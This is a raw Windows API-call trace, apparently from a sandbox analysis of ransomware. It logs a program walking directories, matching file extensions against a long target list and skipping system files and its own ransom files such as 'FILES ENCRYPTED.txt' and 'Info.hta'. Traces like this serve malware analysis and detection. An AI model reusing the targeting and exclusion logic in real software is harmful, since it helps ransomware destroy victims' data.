4 [0033.904] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".ai4") returned 4 [0033.904] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".ai5") returned 4 [0033.904] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".ai6") returned 4 [0033.904] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".ai7") returned 4 [0033.904] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".ai8") returned 4 [0033.904] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".anim") returned 5 [0033.904] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0033.904] lstrlenW (lpString=".arw") returned 4 [0033.904] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".as") returned 3 [0033.904] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0033.904] lstrlenW (lpString=".asa") returned 4 [0033.904] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".asc") returned 4 [0033.904] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0033.904] lstrlenW (lpString=".ascx") returned 5 [0033.905] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0033.905] lstrlenW (lpString=".asm") returned 4 [0033.905] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".asmx") returned 5 [0033.905] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0033.905] lstrlenW (lpString=".asp") returned 4 [0033.905] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".aspx") returned 5 [0033.905] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0033.905] lstrlenW (lpString=".asr") returned 4 [0033.905] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".asx") returned 4 [0033.905] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".avi") returned 4 [0033.905] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".avs") returned 4 [0033.905] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".backup") returned 7 [0033.905] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0033.905] lstrlenW (lpString=".bak") returned 4 [0033.905] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".bay") returned 4 [0033.905] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".bd") returned 3 [0033.905] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0033.905] lstrlenW (lpString=".bin") returned 4 [0033.905] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".bmp") returned 4 [0033.905] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".bz2") returned 4 [0033.905] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.905] lstrlenW (lpString=".c") returned 2 [0033.906] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0033.906] lstrlenW (lpString=".cdr") returned 4 [0033.906] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".cer") returned 4 [0033.906] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".cf") returned 3 [0033.906] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0033.906] lstrlenW (lpString=".cfc") returned 4 [0033.906] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".cfm") returned 4 [0033.906] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".cfml") returned 5 [0033.906] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0033.906] lstrlenW (lpString=".cfu") returned 4 [0033.906] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".chm") returned 4 [0033.906] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".cin") returned 4 [0033.906] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".class") returned 6 [0033.906] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0033.906] lstrlenW (lpString=".clx") returned 4 [0033.906] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".config") returned 7 [0033.906] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0033.906] lstrlenW (lpString=".cpp") returned 4 [0033.906] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".cr2") returned 4 [0033.906] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".crt") returned 4 [0033.906] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".crw") returned 4 [0033.906] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".cs") returned 3 [0033.906] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0033.906] lstrlenW (lpString=".css") returned 4 [0033.906] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".csv") returned 4 [0033.906] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".cub") returned 4 [0033.906] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".dae") returned 4 [0033.906] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".dat") returned 4 [0033.906] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".db") returned 3 [0033.906] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0033.906] lstrlenW (lpString=".dbf") returned 4 [0033.906] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".dbx") returned 4 [0033.906] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".dc3") returned 4 [0033.906] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0033.906] lstrlenW (lpString=".dcm") returned 4 [0033.907] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dcr") returned 4 [0033.907] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".der") returned 4 [0033.907] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dib") returned 4 [0033.907] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dic") returned 4 [0033.907] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dif") returned 4 [0033.907] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".divx") returned 5 [0033.907] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0033.907] lstrlenW (lpString=".djvu") returned 5 [0033.907] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0033.907] lstrlenW (lpString=".dng") returned 4 [0033.907] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".doc") returned 4 [0033.907] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".docm") returned 5 [0033.907] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0033.907] lstrlenW (lpString=".docx") returned 5 [0033.907] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.907] lstrlenW (lpString=".dot") returned 4 [0033.907] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dotm") returned 5 [0033.907] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0033.907] lstrlenW (lpString=".dotx") returned 5 [0033.907] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0033.907] lstrlenW (lpString=".dpx") returned 4 [0033.907] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dqy") returned 4 [0033.907] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dsn") returned 4 [0033.907] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dt") returned 3 [0033.907] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0033.907] lstrlenW (lpString=".dtd") returned 4 [0033.907] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dwg") returned 4 [0033.907] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dwt") returned 4 [0033.907] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".dx") returned 3 [0033.907] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0033.907] lstrlenW (lpString=".dxf") returned 4 [0033.907] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".edml") returned 5 [0033.907] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0033.907] lstrlenW (lpString=".efd") returned 4 [0033.907] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".elf") returned 4 [0033.907] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0033.907] lstrlenW (lpString=".emf") returned 4 [0033.907] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".emz") returned 4 [0033.908] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".epf") returned 4 [0033.908] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".eps") returned 4 [0033.908] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".epsf") returned 5 [0033.908] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0033.908] lstrlenW (lpString=".epsp") returned 5 [0033.908] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0033.908] lstrlenW (lpString=".erf") returned 4 [0033.908] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".exr") returned 4 [0033.908] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".f4v") returned 4 [0033.908] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".fido") returned 5 [0033.908] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0033.908] lstrlenW (lpString=".flm") returned 4 [0033.908] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".flv") returned 4 [0033.908] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".frm") returned 4 [0033.908] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".fxg") returned 4 [0033.908] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".geo") returned 4 [0033.908] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".gif") returned 4 [0033.908] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".grs") returned 4 [0033.908] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".gz") returned 3 [0033.908] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0033.908] lstrlenW (lpString=".h") returned 2 [0033.908] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0033.908] lstrlenW (lpString=".hdr") returned 4 [0033.908] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".hpp") returned 4 [0033.908] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".hta") returned 4 [0033.908] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".htc") returned 4 [0033.908] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".htm") returned 4 [0033.908] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".html") returned 5 [0033.908] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.908] lstrlenW (lpString=".icb") returned 4 [0033.908] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".ics") returned 4 [0033.908] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0033.908] lstrlenW (lpString=".iff") returned 4 [0033.908] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0033.909] lstrlenW (lpString=".inc") returned 4 [0033.909] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0033.909] lstrlenW (lpString=".indd") returned 5 [0033.909] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0033.909] lstrlenW (lpString=".ini") returned 4 [0033.909] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0033.909] lstrlenW (lpString="desktop.ini") returned 11 [0033.909] lstrlenW (lpString=".gold") returned 5 [0033.909] lstrcmpiW (lpString1=".gold", lpString2="p.ini") returned -1 [0033.909] lstrlenW (lpString="desktop.ini") returned 11 [0033.909] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0033.909] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0033.909] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0033.909] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0033.909] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0033.909] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0033.909] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0033.909] lstrcmpiW (lpString1="payload.exe", lpString2="desktop.ini") returned 1 [0033.909] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.909] FindNextFileW (in: hFindFile=0x971db0, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.909] FindClose (in: hFindFile=0x971db0 | out: hFindFile=0x971db0) returned 1 [0033.909] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.909] FindNextFileW (in: hFindFile=0x970d68, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.909] FindClose (in: hFindFile=0x970d68 | out: hFindFile=0x970d68) returned 1 [0033.909] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39006c8 | out: hHeap=0x880000) returned 1 [0033.909] FindNextFileW (in: hFindFile=0x8d1028, lpFindFileData=0x33efd00 | out: lpFindFileData=0x33efd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.909] lstrlenW (lpString="C:\\Boot") returned 7 [0033.909] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0033.909] lstrlenW (lpString="Boot") returned 4 [0033.909] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0033.909] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39006c8 [0033.909] lstrlenW (lpString="C:\\Boot") returned 7 [0033.909] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x971d70 [0033.910] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.910] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0033.910] lstrlenW (lpString="BCD") returned 3 [0033.910] lstrlenW (lpString=".1cd") returned 4 [0033.910] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".3ds") returned 4 [0033.910] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".3fr") returned 4 [0033.910] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".3g2") returned 4 [0033.910] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".3gp") returned 4 [0033.910] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".7z") returned 3 [0033.910] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.910] lstrlenW (lpString=".accda") returned 6 [0033.910] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".accdb") returned 6 [0033.910] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".accdc") returned 6 [0033.910] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".accde") returned 6 [0033.910] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".accdt") returned 6 [0033.910] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".accdw") returned 6 [0033.910] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".adb") returned 4 [0033.910] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".adp") returned 4 [0033.910] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".ai") returned 3 [0033.910] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0033.910] lstrlenW (lpString=".ai3") returned 4 [0033.910] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".ai4") returned 4 [0033.910] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".ai5") returned 4 [0033.910] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".ai6") returned 4 [0033.910] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".ai7") returned 4 [0033.910] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".ai8") returned 4 [0033.910] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".anim") returned 5 [0033.910] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".arw") returned 4 [0033.910] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0033.910] lstrlenW (lpString=".as") returned 3 [0033.910] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0033.910] lstrlenW (lpString=".asa") returned 4 [0033.911] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".asc") returned 4 [0033.911] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".ascx") returned 5 [0033.911] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".asm") returned 4 [0033.911] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".asmx") returned 5 [0033.911] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".asp") returned 4 [0033.911] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".aspx") returned 5 [0033.911] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".asr") returned 4 [0033.911] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".asx") returned 4 [0033.911] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".avi") returned 4 [0033.911] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".avs") returned 4 [0033.911] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".backup") returned 7 [0033.911] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".bak") returned 4 [0033.911] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".bay") returned 4 [0033.911] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".bd") returned 3 [0033.911] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0033.911] lstrlenW (lpString=".bin") returned 4 [0033.911] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".bmp") returned 4 [0033.911] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".bz2") returned 4 [0033.911] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".c") returned 2 [0033.911] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0033.911] lstrlenW (lpString=".cdr") returned 4 [0033.911] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".cer") returned 4 [0033.911] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".cf") returned 3 [0033.911] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0033.911] lstrlenW (lpString=".cfc") returned 4 [0033.911] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".cfm") returned 4 [0033.911] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".cfml") returned 5 [0033.911] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".cfu") returned 4 [0033.911] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".chm") returned 4 [0033.911] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".cin") returned 4 [0033.911] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0033.911] lstrlenW (lpString=".class") returned 6 [0033.911] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".clx") returned 4 [0033.912] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".config") returned 7 [0033.912] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".cpp") returned 4 [0033.912] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".cr2") returned 4 [0033.912] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".crt") returned 4 [0033.912] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".crw") returned 4 [0033.912] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".cs") returned 3 [0033.912] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0033.912] lstrlenW (lpString=".css") returned 4 [0033.912] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".csv") returned 4 [0033.912] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".cub") returned 4 [0033.912] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dae") returned 4 [0033.912] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dat") returned 4 [0033.912] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".db") returned 3 [0033.912] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0033.912] lstrlenW (lpString=".dbf") returned 4 [0033.912] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dbx") returned 4 [0033.912] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dc3") returned 4 [0033.912] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dcm") returned 4 [0033.912] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dcr") returned 4 [0033.912] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".der") returned 4 [0033.912] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dib") returned 4 [0033.912] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dic") returned 4 [0033.912] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dif") returned 4 [0033.912] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".divx") returned 5 [0033.912] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".djvu") returned 5 [0033.912] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dng") returned 4 [0033.912] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".doc") returned 4 